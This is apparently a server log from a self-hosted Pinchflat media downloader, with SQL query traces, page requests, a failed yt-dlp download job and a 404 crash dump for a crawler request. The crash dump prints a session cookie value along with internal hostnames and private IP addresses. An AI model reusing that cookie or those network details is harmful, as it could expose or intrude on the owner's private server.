15:30:04.326 [debug] QUERY OK source="settings" db=0.1ms idle=502.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:30:04.327 [debug] QUERY OK source="settings" db=0.1ms idle=502.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:30:04.327 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:30:04.327 [error] #PID<0.35832.0> running PinchflatWeb.Endpoint (connection #PID<0.35828.0>, stream id 4) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/2/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 55166}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHVUSWgwZ0gtMGp5QzFmdjVGSFNic0xU.qibQgEZyfXyKyQgllVer3NhetKUGJ-U1Xrmp6E1KzI0", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHVUSWgwZ0gtMGp5QzFmdjVGSFNic0xU.qibQgEZyfXyKyQgllVer3NhetKUGJ-U1Xrmp6E1KzI0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35832.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHVUSWgwZ0gtMGp5QzFmdjVGSFNic0xU.qibQgEZyfXyKyQgllVer3NhetKUGJ-U1Xrmp6E1KzI0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHVUSWgwZ0gtMGp5QzFmdjVGSFNic0xU.qibQgEZyfXyKyQgllVer3NhetKUGJ-U1Xrmp6E1KzI0"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/2/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKJSZrutSlGsKvEAEPwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 55166}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHVUSWgwZ0gtMGp5QzFmdjVGSFNic0xU.qibQgEZyfXyKyQgllVer3NhetKUGJ-U1Xrmp6E1KzI0", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 55166}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHVUSWgwZ0gtMGp5QzFmdjVGSFNic0xU.qibQgEZyfXyKyQgllVer3NhetKUGJ-U1Xrmp6E1KzI0", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHVUSWgwZ0gtMGp5QzFmdjVGSFNic0xU.qi (truncated) 15:30:16.606 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/88/6e/886e83ed817892cd9b8033914902265bdc75f407996af96fa87c39004ee4cf83.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 15:30:16.606 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 15:30:16.607 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":305784828,"event":"job:exception","queue_time":742632,"attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 15:30:22.935 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:52.936 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.201 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:31:08.425 [info] GET /sources/2/media/2857 15:31:08.425 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "2857", "source_id" => "2"} Pipelines: [:browser] 15:31:08.426 [debug] QUERY OK source="media_items" db=0.3ms idle=1895.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [2857] 15:31:08.426 [debug] QUERY OK source="tasks" db=0.1ms idle=1895.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [2857] 15:31:08.426 [debug] QUERY OK source="sources" db=0.2ms idle=1895.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:31:08.427 [debug] QUERY OK source="settings" db=0.0ms idle=900.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:08.427 [debug] QUERY OK source="settings" db=0.0ms idle=896.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:08.427 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:08.428 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:31:08.429 [info] Sent 200 in 4ms 15:31:08.454 [info] GET /sources/2/media/3978/edit 15:31:08.454 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3978", "source_id" => "2"} Pipelines: [:browser] 15:31:08.454 [debug] QUERY OK source="media_items" db=0.2ms idle=27.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3978] 15:31:08.455 [debug] QUERY OK source="settings" db=0.1ms idle=28.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:08.455 [debug] QUERY OK source="settings" db=0.0ms idle=28.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:08.455 [debug] QUERY OK source="settings" db=0.0ms idle=28.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:08.456 [info] Sent 200 in 2ms 15:31:08.956 [info] GET /sources/3/media/4489 15:31:08.956 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4489", "source_id" => "3"} Pipelines: [:browser] 15:31:08.956 [debug] QUERY OK source="media_items" db=0.3ms idle=501.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4489] 15:31:08.957 [debug] QUERY OK source="tasks" db=0.1ms idle=501.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4489] 15:31:08.957 [debug] QUERY OK source="sources" db=0.1ms idle=501.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:31:08.957 [debug] QUERY OK source="settings" db=0.0ms idle=501.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:08.958 [debug] QUERY OK source="settings" db=0.1ms idle=429.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:08.958 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:08.959 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:31:08.960 [info] Sent 200 in 4ms 15:31:09.456 [info] GET /sources/2/media/3032 15:31:09.456 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3032", "source_id" => "2"} Pipelines: [:browser] 15:31:09.456 [debug] QUERY OK source="media_items" db=0.3ms idle=499.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3032] 15:31:09.457 [debug] QUERY OK source="tasks" db=0.1ms idle=499.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3032] 15:31:09.457 [debug] QUERY OK source="sources" db=0.2ms idle=499.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:31:09.457 [debug] QUERY OK source="settings" db=0.0ms idle=499.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:09.458 [debug] QUERY OK source="settings" db=0.0ms idle=498.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:09.458 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:09.459 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:31:09.460 [info] Sent 200 in 4ms 15:31:14.253 [info] GET /sources/3/media/5447 15:31:14.253 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "5447", "source_id" => "3"} Pipelines: [:browser] 15:31:14.253 [info] GET /sources/2/media/1612 15:31:14.253 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1612", "source_id" => "2"} Pipelines: [:browser] 15:31:14.254 [debug] QUERY OK source="media_items" db=0.3ms idle=1723.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5447] 15:31:14.254 [debug] QUERY OK source="media_items" db=0.3ms idle=1723.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1612] 15:31:14.254 [debug] QUERY OK source="tasks" db=0.1ms idle=1721.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [5447] 15:31:14.254 [debug] QUERY OK source="sources" db=0.3ms idle=723.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:31:14.254 [debug] QUERY OK source="tasks" db=0.3ms idle=720.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1612] 15:31:14.255 [debug] QUERY OK source="sources" db=0.4ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:31:14.255 [debug] QUERY OK source="settings" db=0.3ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:14.255 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:14.255 [debug] QUERY OK source="settings" db=0.2ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:14.256 [debug] QUERY OK source="settings" db=0.1ms queue=0.2ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:14.256 [debug] QUERY OK source="settings" db=0.3ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:14.256 [debug] QUERY OK source="settings" db=0.3ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" 